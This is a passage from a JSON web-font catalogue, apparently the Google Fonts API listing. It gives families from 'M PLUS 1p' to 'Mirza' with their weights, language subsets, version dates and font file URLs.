1p","variants":["100","300","regular","500","700","800","900"],"subsets":["cyrillic","cyrillic-ext","greek","greek-ext","hebrew","japanese","latin","latin-ext","vietnamese"],"version":"v19","lastModified":"2020-03-03","files":{"100":"http://fonts.gstatic.com/s/mplus1p/v19/e3tleuShHdiFyPFzBRrQnDQAUW3aq-5N.ttf","300":"http://fonts.gstatic.com/s/mplus1p/v19/e3tmeuShHdiFyPFzBRrQVBYge0PWovdU4w.ttf","regular":"http://fonts.gstatic.com/s/mplus1p/v19/e3tjeuShHdiFyPFzBRro-D4Ec2jKqw.ttf","500":"http://fonts.gstatic.com/s/mplus1p/v19/e3tmeuShHdiFyPFzBRrQDBcge0PWovdU4w.ttf","700":"http://fonts.gstatic.com/s/mplus1p/v19/e3tmeuShHdiFyPFzBRrQRBEge0PWovdU4w.ttf","800":"http://fonts.gstatic.com/s/mplus1p/v19/e3tmeuShHdiFyPFzBRrQWBIge0PWovdU4w.ttf","900":"http://fonts.gstatic.com/s/mplus1p/v19/e3tmeuShHdiFyPFzBRrQfBMge0PWovdU4w.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"M PLUS Rounded 1c","variants":["100","300","regular","500","700","800","900"],"subsets":["cyrillic","cyrillic-ext","greek","greek-ext","hebrew","japanese","latin","latin-ext","vietnamese"],"version":"v10","lastModified":"2019-11-05","files":{"100":"http://fonts.gstatic.com/s/mplusrounded1c/v10/VdGCAYIAV6gnpUpoWwNkYvrugw9RuM3ixLsg6-av1x0.ttf","300":"http://fonts.gstatic.com/s/mplusrounded1c/v10/VdGBAYIAV6gnpUpoWwNkYvrugw9RuM0q5psKxeqmzgRK.ttf","regular":"http://fonts.gstatic.com/s/mplusrounded1c/v10/VdGEAYIAV6gnpUpoWwNkYvrugw9RuPWGzr8C7vav.ttf","500":"http://fonts.gstatic.com/s/mplusrounded1c/v10/VdGBAYIAV6gnpUpoWwNkYvrugw9RuM1y55sKxeqmzgRK.ttf","700":"http://fonts.gstatic.com/s/mplusrounded1c/v10/VdGBAYIAV6gnpUpoWwNkYvrugw9RuM064ZsKxeqmzgRK.ttf","800":"http://fonts.gstatic.com/s/mplusrounded1c/v10/VdGBAYIAV6gnpUpoWwNkYvrugw9RuM0m4psKxeqmzgRK.ttf","900":"http://fonts.gstatic.com/s/mplusrounded1c/v10/VdGBAYIAV6gnpUpoWwNkYvrugw9RuM0C45sKxeqmzgRK.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Ma Shan Zheng","variants":["regular"],"subsets":["chinese-simplified","latin"],"version":"v5","lastModified":"2019-11-05","files":{"regular":"http://fonts.gstatic.com/s/mashanzheng/v5/NaPecZTRCLxvwo41b4gvzkXaRMTsDIRSfr0.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Macondo","variants":["regular"],"subsets":["latin"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/macondo/v9/RrQQboN9-iB1IXmOS2XO0LBBd4Y.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Macondo Swash Caps","variants":["regular"],"subsets":["latin"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/macondoswashcaps/v8/6NUL8EaAJgGKZA7lpt941Z9s6ZYgDq6Oekoa_mm5bA.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Mada","variants":["200","300","regular","500","600","700","900"],"subsets":["arabic","latin"],"version":"v9","lastModified":"2020-09-02","files":{"200":"http://fonts.gstatic.com/s/mada/v9/7Au_p_0qnzeSdf3nCCL8zkwMIFg.ttf","300":"http://fonts.gstatic.com/s/mada/v9/7Au_p_0qnzeSdZnkCCL8zkwMIFg.ttf","regular":"http://fonts.gstatic.com/s/mada/v9/7Auwp_0qnzeSTTXMLCrX0kU.ttf","500":"http://fonts.gstatic.com/s/mada/v9/7Au_p_0qnzeSdcHlCCL8zkwMIFg.ttf","600":"http://fonts.gstatic.com/s/mada/v9/7Au_p_0qnzeSde3iCCL8zkwMIFg.ttf","700":"http://fonts.gstatic.com/s/mada/v9/7Au_p_0qnzeSdYnjCCL8zkwMIFg.ttf","900":"http://fonts.gstatic.com/s/mada/v9/7Au_p_0qnzeSdbHhCCL8zkwMIFg.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Magra","variants":["regular","700"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/magra/v9/uK_94ruaZus72k5xIDMfO-ed.ttf","700":"http://fonts.gstatic.com/s/magra/v9/uK_w4ruaZus72nbNDxcXEPuUX1ow.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Maiden Orange","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/maidenorange/v11/kJE1BuIX7AUmhi2V4m08kb1XjOZdCZS8FY8.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Maitree","variants":["200","300","regular","500","600","700"],"subsets":["latin","latin-ext","thai","vietnamese"],"version":"v5","lastModified":"2020-07-23","files":{"200":"http://fonts.gstatic.com/s/maitree/v5/MjQDmil5tffhpBrklhGNWJGovLdh6OE.ttf","300":"http://fonts.gstatic.com/s/maitree/v5/MjQDmil5tffhpBrklnWOWJGovLdh6OE.ttf","regular":"http://fonts.gstatic.com/s/maitree/v5/MjQGmil5tffhpBrkrtmmfJmDoL4.ttf","500":"http://fonts.gstatic.com/s/maitree/v5/MjQDmil5tffhpBrkli2PWJGovLdh6OE.ttf","600":"http://fonts.gstatic.com/s/maitree/v5/MjQDmil5tffhpBrklgGIWJGovLdh6OE.ttf","700":"http://fonts.gstatic.com/s/maitree/v5/MjQDmil5tffhpBrklmWJWJGovLdh6OE.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Major Mono Display","variants":["regular"],"subsets":["latin","latin-ext","vietnamese"],"version":"v5","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/majormonodisplay/v5/RWmVoLyb5fEqtsfBX9PDZIGr2tFubRhLCn2QIndPww.ttf"},"category":"monospace","kind":"webfonts#webfont"},{"family":"Mako","variants":["regular"],"subsets":["latin"],"version":"v12","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/mako/v12/H4coBX6Mmc_Z0ST09g478Lo.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Mali","variants":["200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic"],"subsets":["latin","latin-ext","thai","vietnamese"],"version":"v4","lastModified":"2020-09-02","files":{"200":"http://fonts.gstatic.com/s/mali/v4/N0bV2SRONuN4QOLlKlRaJdbWgdY.ttf","200italic":"http://fonts.gstatic.com/s/mali/v4/N0bX2SRONuN4SCj8wlVQIfTTkdbJYA.ttf","300":"http://fonts.gstatic.com/s/mali/v4/N0bV2SRONuN4QIbmKlRaJdbWgdY.ttf","300italic":"http://fonts.gstatic.com/s/mali/v4/N0bX2SRONuN4SCj8plZQIfTTkdbJYA.ttf","regular":"http://fonts.gstatic.com/s/mali/v4/N0ba2SRONuN4eCrODlxxOd8.ttf","italic":"http://fonts.gstatic.com/s/mali/v4/N0bU2SRONuN4SCjECn50Kd_PmA.ttf","500":"http://fonts.gstatic.com/s/mali/v4/N0bV2SRONuN4QN7nKlRaJdbWgdY.ttf","500italic":"http://fonts.gstatic.com/s/mali/v4/N0bX2SRONuN4SCj8_ldQIfTTkdbJYA.ttf","600":"http://fonts.gstatic.com/s/mali/v4/N0bV2SRONuN4QPLgKlRaJdbWgdY.ttf","600italic":"http://fonts.gstatic.com/s/mali/v4/N0bX2SRONuN4SCj80lBQIfTTkdbJYA.ttf","700":"http://fonts.gstatic.com/s/mali/v4/N0bV2SRONuN4QJbhKlRaJdbWgdY.ttf","700italic":"http://fonts.gstatic.com/s/mali/v4/N0bX2SRONuN4SCj8tlFQIfTTkdbJYA.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Mallanna","variants":["regular"],"subsets":["latin","telugu"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/mallanna/v8/hv-Vlzx-KEQb84YaDGwzEzRwVvJ-.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Mandali","variants":["regular"],"subsets":["latin","telugu"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/mandali/v9/LhWlMVbYOfASNfNUVFk1ZPdcKtA.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Manjari","variants":["100","regular","700"],"subsets":["latin","malayalam"],"version":"v3","lastModified":"2020-07-23","files":{"100":"http://fonts.gstatic.com/s/manjari/v3/k3kSo8UPMOBO2w1UdbroK2vFIaOV8A.ttf","regular":"http://fonts.gstatic.com/s/manjari/v3/k3kQo8UPMOBO2w1UTd7iL0nAMaM.ttf","700":"http://fonts.gstatic.com/s/manjari/v3/k3kVo8UPMOBO2w1UdWLNC0HrLaqM6Q4.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Manrope","variants":["200","300","regular","500","600","700","800"],"subsets":["cyrillic","greek","latin","latin-ext"],"version":"v3","lastModified":"2020-06-25","files":{"200":"http://fonts.gstatic.com/s/manrope/v3/xn7_YHE41ni1AdIRqAuZuw1Bx9mbZk59FO_F87jxeN7B.ttf","300":"http://fonts.gstatic.com/s/manrope/v3/xn7_YHE41ni1AdIRqAuZuw1Bx9mbZk6jFO_F87jxeN7B.ttf","regular":"http://fonts.gstatic.com/s/manrope/v3/xn7_YHE41ni1AdIRqAuZuw1Bx9mbZk79FO_F87jxeN7B.ttf","500":"http://fonts.gstatic.com/s/manrope/v3/xn7_YHE41ni1AdIRqAuZuw1Bx9mbZk7PFO_F87jxeN7B.ttf","600":"http://fonts.gstatic.com/s/manrope/v3/xn7_YHE41ni1AdIRqAuZuw1Bx9mbZk4jE-_F87jxeN7B.ttf","700":"http://fonts.gstatic.com/s/manrope/v3/xn7_YHE41ni1AdIRqAuZuw1Bx9mbZk4aE-_F87jxeN7B.ttf","800":"http://fonts.gstatic.com/s/manrope/v3/xn7_YHE41ni1AdIRqAuZuw1Bx9mbZk59E-_F87jxeN7B.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Mansalva","variants":["regular"],"subsets":["latin"],"version":"v2","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/mansalva/v2/aWB4m0aacbtDfvq5NJllI47vdyBg.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Manuale","variants":["regular","500","600","700","italic","500italic","600italic","700italic"],"subsets":["latin","latin-ext","vietnamese"],"version":"v7","lastModified":"2020-06-26","files":{"regular":"http://fonts.gstatic.com/s/manuale/v7/f0Xp0eas_8Z-TFZdHv3mMxFaSqASeeHke7wD1TB_JHHY.ttf","500":"http://fonts.gstatic.com/s/manuale/v7/f0Xp0eas_8Z-TFZdHv3mMxFaSqASeeHWe7wD1TB_JHHY.ttf","600":"http://fonts.gstatic.com/s/manuale/v7/f0Xp0eas_8Z-TFZdHv3mMxFaSqASeeE6fLwD1TB_JHHY.ttf","700":"http://fonts.gstatic.com/s/manuale/v7/f0Xp0eas_8Z-TFZdHv3mMxFaSqASeeEDfLwD1TB_JHHY.ttf","italic":"http://fonts.gstatic.com/s/manuale/v7/f0Xn0eas_8Z-TFZdNPTUzMkzITq8fvQsOFRA3zRdIWHYr8M.ttf","500italic":"http://fonts.gstatic.com/s/manuale/v7/f0Xn0eas_8Z-TFZdNPTUzMkzITq8fvQsOGZA3zRdIWHYr8M.ttf","600italic":"http://fonts.gstatic.com/s/manuale/v7/f0Xn0eas_8Z-TFZdNPTUzMkzITq8fvQsOIpH3zRdIWHYr8M.ttf","700italic":"http://fonts.gstatic.com/s/manuale/v7/f0Xn0eas_8Z-TFZdNPTUzMkzITq8fvQsOLNH3zRdIWHYr8M.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Marcellus","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/marcellus/v8/wEO_EBrOk8hQLDvIAF8FUfAL3EsHiA.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Marcellus SC","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/marcellussc/v8/ke8iOgUHP1dg-Rmi6RWjbLEPgdydGKikhA.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Marck Script","variants":["regular"],"subsets":["cyrillic","latin","latin-ext"],"version":"v11","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/marckscript/v11/nwpTtK2oNgBA3Or78gapdwuCzyI-aMPF7Q.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Margarine","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/margarine/v9/qkBXXvoE6trLT9Y7YLye5JRLkAXbMQ.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Markazi Text","variants":["regular","500","600","700"],"subsets":["arabic","latin","latin-ext","vietnamese"],"version":"v12","lastModified":"2020-06-26","files":{"regular":"http://fonts.gstatic.com/s/markazitext/v12/sykh-ydym6AtQaiEtX7yhqb_rV1k_81ZVYYZtfSQT4MlBekmJLo.ttf","500":"http://fonts.gstatic.com/s/markazitext/v12/sykh-ydym6AtQaiEtX7yhqb_rV1k_81ZVYYZtcaQT4MlBekmJLo.ttf","600":"http://fonts.gstatic.com/s/markazitext/v12/sykh-ydym6AtQaiEtX7yhqb_rV1k_81ZVYYZtSqXT4MlBekmJLo.ttf","700":"http://fonts.gstatic.com/s/markazitext/v12/sykh-ydym6AtQaiEtX7yhqb_rV1k_81ZVYYZtROXT4MlBekmJLo.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Marko One","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/markoone/v10/9Btq3DFG0cnVM5lw1haaKpUfrHPzUw.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Marmelad","variants":["regular"],"subsets":["cyrillic","latin","latin-ext"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/marmelad/v10/Qw3eZQdSHj_jK2e-8tFLG-YMC0R8.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Martel","variants":["200","300","regular","600","700","800","900"],"subsets":["devanagari","latin","latin-ext"],"version":"v5","lastModified":"2020-09-02","files":{"200":"http://fonts.gstatic.com/s/martel/v5/PN_yRfK9oXHga0XVqekahRbX9vnDzw.ttf","300":"http://fonts.gstatic.com/s/martel/v5/PN_yRfK9oXHga0XVzeoahRbX9vnDzw.ttf","regular":"http://fonts.gstatic.com/s/martel/v5/PN_xRfK9oXHga0XtYcI-jT3L_w.ttf","600":"http://fonts.gstatic.com/s/martel/v5/PN_yRfK9oXHga0XVuewahRbX9vnDzw.ttf","700":"http://fonts.gstatic.com/s/martel/v5/PN_yRfK9oXHga0XV3e0ahRbX9vnDzw.ttf","800":"http://fonts.gstatic.com/s/martel/v5/PN_yRfK9oXHga0XVwe4ahRbX9vnDzw.ttf","900":"http://fonts.gstatic.com/s/martel/v5/PN_yRfK9oXHga0XV5e8ahRbX9vnDzw.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Martel Sans","variants":["200","300","regular","600","700","800","900"],"subsets":["devanagari","latin","latin-ext"],"version":"v7","lastModified":"2020-09-02","files":{"200":"http://fonts.gstatic.com/s/martelsans/v7/h0GxssGi7VdzDgKjM-4d8hAX5suHFUknqMxQ.ttf","300":"http://fonts.gstatic.com/s/martelsans/v7/h0GxssGi7VdzDgKjM-4d8hBz5cuHFUknqMxQ.ttf","regular":"http://fonts.gstatic.com/s/martelsans/v7/h0GsssGi7VdzDgKjM-4d8ijfze-PPlUu.ttf","600":"http://fonts.gstatic.com/s/martelsans/v7/h0GxssGi7VdzDgKjM-4d8hAH48uHFUknqMxQ.ttf","700":"http://fonts.gstatic.com/s/martelsans/v7/h0GxssGi7VdzDgKjM-4d8hBj4suHFUknqMxQ.ttf","800":"http://fonts.gstatic.com/s/martelsans/v7/h0GxssGi7VdzDgKjM-4d8hB_4cuHFUknqMxQ.ttf","900":"http://fonts.gstatic.com/s/martelsans/v7/h0GxssGi7VdzDgKjM-4d8hBb4MuHFUknqMxQ.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Marvel","variants":["regular","italic","700","700italic"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/marvel/v10/nwpVtKeoNgBV0qaIkV7ED366zg.ttf","italic":"http://fonts.gstatic.com/s/marvel/v10/nwpXtKeoNgBV0qa4k1TALXuqzhA7.ttf","700":"http://fonts.gstatic.com/s/marvel/v10/nwpWtKeoNgBV0qawLXHgB1WmxwkiYQ.ttf","700italic":"http://fonts.gstatic.com/s/marvel/v10/nwpQtKeoNgBV0qa4k2x8Al-i5QwyYdrc.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Mate","variants":["regular","italic"],"subsets":["latin"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/mate/v9/m8JdjftRd7WZ2z28WoXSaLU.ttf","italic":"http://fonts.gstatic.com/s/mate/v9/m8JTjftRd7WZ6z-2XqfXeLVdbw.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Mate SC","variants":["regular"],"subsets":["latin"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/matesc/v9/-nF8OGQ1-uoVr2wKyiXZ95OkJwA.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Maven Pro","variants":["regular","500","600","700","800","900"],"subsets":["latin","latin-ext","vietnamese"],"version":"v21","lastModified":"2020-06-26","files":{"regular":"http://fonts.gstatic.com/s/mavenpro/v21/7Auup_AqnyWWAxW2Wk3swUz56MS91Eww8SX25nCpozp5GvU.ttf","500":"http://fonts.gstatic.com/s/mavenpro/v21/7Auup_AqnyWWAxW2Wk3swUz56MS91Eww8Rf25nCpozp5GvU.ttf","600":"http://fonts.gstatic.com/s/mavenpro/v21/7Auup_AqnyWWAxW2Wk3swUz56MS91Eww8fvx5nCpozp5GvU.ttf","700":"http://fonts.gstatic.com/s/mavenpro/v21/7Auup_AqnyWWAxW2Wk3swUz56MS91Eww8cLx5nCpozp5GvU.ttf","800":"http://fonts.gstatic.com/s/mavenpro/v21/7Auup_AqnyWWAxW2Wk3swUz56MS91Eww8aXx5nCpozp5GvU.ttf","900":"http://fonts.gstatic.com/s/mavenpro/v21/7Auup_AqnyWWAxW2Wk3swUz56MS91Eww8Yzx5nCpozp5GvU.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"McLaren","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/mclaren/v8/2EbnL-ZuAXFqZFXISYYf8z2Yt_c.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Meddon","variants":["regular"],"subsets":["latin"],"version":"v13","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/meddon/v13/kmK8ZqA2EgDNeHTZhBdB3y_Aow.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"MedievalSharp","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v12","lastModified":"2020-07-15","files":{"regular":"http://fonts.gstatic.com/s/medievalsharp/v12/EvOJzAlL3oU5AQl2mP5KdgptAq96MwvXLDk.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Medula One","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/medulaone/v10/YA9Wr0qb5kjJM6l2V0yukiEqs7GtlvY.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Meera Inimai","variants":["regular"],"subsets":["latin","tamil"],"version":"v5","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/meerainimai/v5/845fNMM5EIqOW5MPuvO3ILep_2jDVevnLQ.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Megrim","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/megrim/v11/46kulbz5WjvLqJZlbWXgd0RY1g.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Meie Script","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/meiescript/v8/_LOImzDK7erRjhunIspaMjxn5IXg0WDz.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Merienda","variants":["regular","700"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/merienda/v9/gNMHW3x8Qoy5_mf8uVMCOou6_dvg.ttf","700":"http://fonts.gstatic.com/s/merienda/v9/gNMAW3x8Qoy5_mf8uWu-Fa-y1sfpPES4.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Merienda One","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/meriendaone/v11/H4cgBXaMndbflEq6kyZ1ht6YgoyyYzFzFw.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Merriweather","variants":["300","300italic","regular","italic","700","700italic","900","900italic"],"subsets":["cyrillic","cyrillic-ext","latin","latin-ext","vietnamese"],"version":"v22","lastModified":"2020-09-10","files":{"300":"http://fonts.gstatic.com/s/merriweather/v22/u-4n0qyriQwlOrhSvowK_l521wRpX837pvjxPA.ttf","300italic":"http://fonts.gstatic.com/s/merriweather/v22/u-4l0qyriQwlOrhSvowK_l5-eR7lXcf_hP3hPGWH.ttf","regular":"http://fonts.gstatic.com/s/merriweather/v22/u-440qyriQwlOrhSvowK_l5OeyxNV-bnrw.ttf","italic":"http://fonts.gstatic.com/s/merriweather/v22/u-4m0qyriQwlOrhSvowK_l5-eSZJdeP3r-Ho.ttf","700":"http://fonts.gstatic.com/s/merriweather/v22/u-4n0qyriQwlOrhSvowK_l52xwNpX837pvjxPA.ttf","700italic":"http://fonts.gstatic.com/s/merriweather/v22/u-4l0qyriQwlOrhSvowK_l5-eR71Wsf_hP3hPGWH.ttf","900":"http://fonts.gstatic.com/s/merriweather/v22/u-4n0qyriQwlOrhSvowK_l52_wFpX837pvjxPA.ttf","900italic":"http://fonts.gstatic.com/s/merriweather/v22/u-4l0qyriQwlOrhSvowK_l5-eR7NWMf_hP3hPGWH.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Merriweather Sans","variants":["300","regular","500","600","700","800","300italic","italic","500italic","600italic","700italic","800italic"],"subsets":["cyrillic-ext","latin","latin-ext","vietnamese"],"version":"v13","lastModified":"2020-08-21","files":{"300":"http://fonts.gstatic.com/s/merriweathersans/v13/2-cO9IRs1JiJN1FRAMjTN5zd9vgsFF_5asQTb6hZ2JKZ_O4ljuEG7xFHnQ.ttf","regular":"http://fonts.gstatic.com/s/merriweathersans/v13/2-cO9IRs1JiJN1FRAMjTN5zd9vgsFF_5asQTb6hZ2JKZou4ljuEG7xFHnQ.ttf","500":"http://fonts.gstatic.com/s/merriweathersans/v13/2-cO9IRs1JiJN1FRAMjTN5zd9vgsFF_5asQTb6hZ2JKZkO4ljuEG7xFHnQ.ttf","600":"http://fonts.gstatic.com/s/merriweathersans/v13/2-cO9IRs1JiJN1FRAMjTN5zd9vgsFF_5asQTb6hZ2JKZfOkljuEG7xFHnQ.ttf","700":"http://fonts.gstatic.com/s/merriweathersans/v13/2-cO9IRs1JiJN1FRAMjTN5zd9vgsFF_5asQTb6hZ2JKZRekljuEG7xFHnQ.ttf","800":"http://fonts.gstatic.com/s/merriweathersans/v13/2-cO9IRs1JiJN1FRAMjTN5zd9vgsFF_5asQTb6hZ2JKZIukljuEG7xFHnQ.ttf","300italic":"http://fonts.gstatic.com/s/merriweathersans/v13/2-cM9IRs1JiJN1FRAMjTN5zd9vgsFHXwWDvLBsPDdpWMaq2TzesCzRRXnaur.ttf","italic":"http://fonts.gstatic.com/s/merriweathersans/v13/2-cM9IRs1JiJN1FRAMjTN5zd9vgsFHXwWDvLBsPDdpWMaq3NzesCzRRXnaur.ttf","500italic":"http://fonts.gstatic.com/s/merriweathersans/v13/2-cM9IRs1JiJN1FRAMjTN5zd9vgsFHXwWDvLBsPDdpWMaq3_zesCzRRXnaur.ttf","600italic":"http://fonts.gstatic.com/s/merriweathersans/v13/2-cM9IRs1JiJN1FRAMjTN5zd9vgsFHXwWDvLBsPDdpWMaq0TyusCzRRXnaur.ttf","700italic":"http://fonts.gstatic.com/s/merriweathersans/v13/2-cM9IRs1JiJN1FRAMjTN5zd9vgsFHXwWDvLBsPDdpWMaq0qyusCzRRXnaur.ttf","800italic":"http://fonts.gstatic.com/s/merriweathersans/v13/2-cM9IRs1JiJN1FRAMjTN5zd9vgsFHXwWDvLBsPDdpWMaq1NyusCzRRXnaur.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Metal","variants":["regular"],"subsets":["khmer"],"version":"v13","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/metal/v13/lW-wwjUJIXTo7i3nnoQAUdN2.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Metal Mania","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/metalmania/v10/RWmMoKWb4e8kqMfBUdPFJeXCg6UKDXlq.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Metamorphous","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/metamorphous/v11/Wnz8HA03aAXcC39ZEX5y1330PCCthTsmaQ.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Metrophobic","variants":["regular"],"subsets":["latin","latin-ext","vietnamese"],"version":"v14","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/metrophobic/v14/sJoA3LZUhMSAPV_u0qwiAT-J737FPEEL.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Michroma","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/michroma/v11/PN_zRfy9qWD8fEagAMg6rzjb_-Da.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Milonga","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/milonga/v8/SZc53FHnIaK9W5kffz3GkUrS8DI.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Miltonian","variants":["regular"],"subsets":["latin"],"version":"v14","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/miltonian/v14/zOL-4pbPn6Ne9JqTg9mr6e5As-FeiQ.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Miltonian Tattoo","variants":["regular"],"subsets":["latin"],"version":"v16","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/miltoniantattoo/v16/EvOUzBRL0o0kCxF-lcMCQxlpVsA_FwP8MDBku-s.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Mina","variants":["regular","700"],"subsets":["bengali","latin","latin-ext"],"version":"v4","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/mina/v4/-nFzOGc18vARrz9j7i3y65o.ttf","700":"http://fonts.gstatic.com/s/mina/v4/-nF8OGc18vARl4NMyiXZ95OkJwA.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Miniver","variants":["regular"],"subsets":["latin"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/miniver/v9/eLGcP-PxIg-5H0vC770Cy8r8fWA.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Miriam Libre","variants":["regular","700"],"subsets":["hebrew","latin","latin-ext"],"version":"v7","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/miriamlibre/v7/DdTh798HsHwubBAqfkcBTL_vYJn_Teun9g.ttf","700":"http://fonts.gstatic.com/s/miriamlibre/v7/DdT-798HsHwubBAqfkcBTL_X3LbbRcC7_-Z7Hg.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Mirza","variants":["regular","500","600","700"],"subsets":["arabic","latin","latin-ext"],"version":"v9","lastModified":"2020-09-25","files":{"regular":"http://fonts.gstatic.com/s/mirza/v9/co3ImWlikiN5EurdKMewsrvI.ttf","500":"http://fonts.gstatic.com/s/mirza/v9/co3FmWlikiN5EtIpAeO4mafBomDi.ttf","600":"http://fonts.gstatic.com/s/mirza/v9/co3FmWlikiN5EtIFBuO4mafBomDi.ttf","700":"http://fonts.gstatic.com/s/mirza/v9/co3FmWlikiN5EtJhB-O4mafBomDi.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Miss 